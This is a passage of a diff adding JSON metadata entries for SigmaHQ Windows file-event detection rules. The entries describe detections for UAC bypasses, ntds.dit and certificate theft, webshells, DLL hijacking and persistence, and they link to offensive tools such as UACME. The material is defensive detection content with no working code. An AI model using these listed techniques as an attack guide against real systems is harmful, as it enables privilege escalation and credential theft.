], + "tags": [ + "attack.t1036.005", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "file_event_win_susp_default_gpo_dir_write.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", + "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", + "value": "Suspicious Desktopimgdownldr Target File", + "meta": { + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1105" + ], + "creation_date": "2020/07/03", + "filename": "file_event_win_susp_desktopimgdownldr_file.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", + "value": "Suspicious desktop.ini Action", + "meta": { + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2020/03/19", + "filename": "file_event_win_susp_desktop_ini.yml", + "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Operations performed through Windows SCCM or equivalent", + "Read only access list authority" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Ransomware create txt file in the user Desktop", + "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", + "value": "Suspicious Creation TXT File in User Desktop", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/12/26", + "filename": "file_event_win_susp_desktop_txt.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", + "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", + "value": "Creation of a Diagcab", + "meta": { + "refs": [ + "https://threadreaderapp.com/thread/1533879688141086720.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" + ], + "tags": [ + "attack.resource_development" + ], + "creation_date": "2022/06/08", + "filename": "file_event_win_susp_diagcab.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate microsoft diagcab" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", + "value": "Suspicious Double Extension Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ], + "creation_date": "2022/06/19", + "filename": "file_event_win_susp_double_extension.yml", + "author": "Nasreddine Bencherchali, frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an executable by another executable", + "uuid": "297afac9-5d02-4138-8c58-b977bac60556", + "value": "Creation of an Executable by an Executable", + "meta": { + "refs": [ + "Malware Sandbox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2022/03/09", + "filename": "file_event_win_susp_dropper.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Software installers", + "Update utilities" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", + "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", + "value": "Suspicious MSExchangeMailboxReplication ASPX Write", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2022/02/25", + "filename": "file_event_win_susp_exchange_aspx_write.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", + "uuid": "74babdd6-a758-4549-9632-26535279e654", + "value": "Suspicious Executable File Creation", + "meta": { + "refs": [ + "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", + "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2022/09/05", + "filename": "file_event_win_susp_executable_creation.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", + "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", + "value": "Suspicious Get-Variable.exe Creation", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.joesandbox.com/analysis/465533/0/html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/04/23", + "filename": "file_event_win_susp_get_variable.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", + "value": "Suspicious LNK Double Extension Files", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ], + "creation_date": "2022/11/07", + "filename": "file_event_win_susp_lnk_double_extension.yml", + "author": "Nasreddine Bencherchali, frack113", + "level": "medium", + "falsepositive": [ + "Users creating a shortcut on e.g. desktop" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", + "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", + "value": "Suspicious Process Writes Ntds.dit", + "meta": { + "refs": [ + "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", + "https://adsecurity.org/?p=2398", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2022/01/11", + "filename": "file_event_win_susp_ntds_dit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", + "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", + "value": "Suspicious PFX File Creation", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/14", + "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2020/05/02", + "filename": "file_event_win_susp_pfx_file_creation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "System administrators managing certififcates." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", + "value": "PowerShell Profile Modification", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://persistence-info.github.io/Data/powershellprofile.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2019/10/24", + "filename": "file_event_win_susp_powershell_profile.yml", + "author": "HieuTT35, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "System administrator create Powershell profile manually" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", + "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", + "value": "Suspicious PROCEXP152.sys File Created In TMP", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ], + "creation_date": "2019/04/08", + "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", + "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", + "value": "Drop Binaries Into Spool Drivers Color Folder", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/28", + "filename": "file_event_win_susp_spool_drivers_color_drop.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a file with a suspicious extension is created in the startup folder", + "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", + "value": "Suspicious Startup Folder Persistence", + "meta": { + "refs": [ + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2022/08/10", + "filename": "file_event_win_susp_startup_folder_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate usage of some of the extensions mentioned in the rule" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", + "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", + "value": "Suspicious Interactive PowerShell as SYSTEM", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/07", + "filename": "file_event_win_susp_system_interactive_powershell.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity", + "PowerShell scripts running as SYSTEM user" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of tasks from processes executed from suspicious locations", + "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", + "value": "Suspicious Scheduled Task Write to System32 Tasks", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1053" + ], + "creation_date": "2021/11/16", + "filename": "file_event_win_susp_task_write.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of log files during a TeamViewer remote session", + "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", + "value": "TeamViewer Remote Session", + "meta": { + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/01/30", + "filename": "file_event_win_susp_teamviewer_remote_session.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate uses of TeamViewer in an organisation" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", + "value": "VsCode Powershell Profile Modification", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2022/08/24", + "filename": "file_event_win_susp_vscode_powershell_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use of the profile by developers or administrators" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an file in user Word Startup", + "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", + "value": "Creation In User Word Startup Folder", + "meta": { + "refs": [ + "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2022/06/05", + "filename": "file_event_win_susp_winword_startup.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Addition of legitimate plugins" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", + "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", + "value": "PsExec Service File Creation", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "file_event_win_tool_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", + "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", + "value": "Hijack Legit RDP Session to Move Laterally", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2019/02/21", + "filename": "file_event_win_tsclient_filewrite_startup.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", + "value": "UAC Bypass Using Consent and Comctl32 - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_uac_bypass_consent_comctl32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", + "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", + "value": "UAC Bypass Using .NET Code Profiler on MMC", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", + "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", + "value": "UAC Bypass Using EventVwr", + "meta": { + "refs": [ + "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", + "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ], + "creation_date": "2022/04/27", + "filename": "file_event_win_uac_bypass_eventvwr.yml", + "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", + "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", + "value": "UAC Bypass Using IDiagnostic Profile - File", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/03", + "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", + "value": "UAC Bypass Using IEInstal - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_ieinstal.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", + "value": "UAC Bypass Using MSConfig Token Modification - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_msconfig_gui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", + "value": "UAC Bypass Using NTFS Reparse Point - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", + "value": "UAC Bypass Abusing Winsat Path Parsing - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", + "value": "UAC Bypass Using Windows Media Player - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Possible webshell file creation on a static web site", + "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", + "value": "Windows Webshell Creation", + "meta": { + "refs": [ + "PT ESC rule and personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/10/22", + "filename": "file_event_win_webshell_creation_detect.yml", + "author": "Beyu Denis, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Legitimate administrator or developer creating legitimate executable files in a web application folder" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", + "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", + "value": "Creation of an WerFault.exe in Unusual Folder", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001" + ], + "creation_date": "2022/05/09", + "filename": "file_event_win_werfault_dll_hijacking.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", + "meta": { + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/06", + "filename": "file_event_win_winrm_awl_bypass.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", + "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", + "value": "Suspicious Word Cab File Write CVE-2021-40444", + "meta": { + "refs": [ + "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", + "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ], + "creation_date": "2021/09/10", + "filename": "file_event_win_winword_cve_2021_40444.yml", + "author": "Florian Roth, Sittikorn S", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of the default output filename used by the wmicexec tool", + "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", + "value": "Wmiexec Default Output File", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1047" + ], + "creation_date": "2022/06/02", + "filename": "file_event_win_wmiexec_default_filename.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", + "value": "Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), 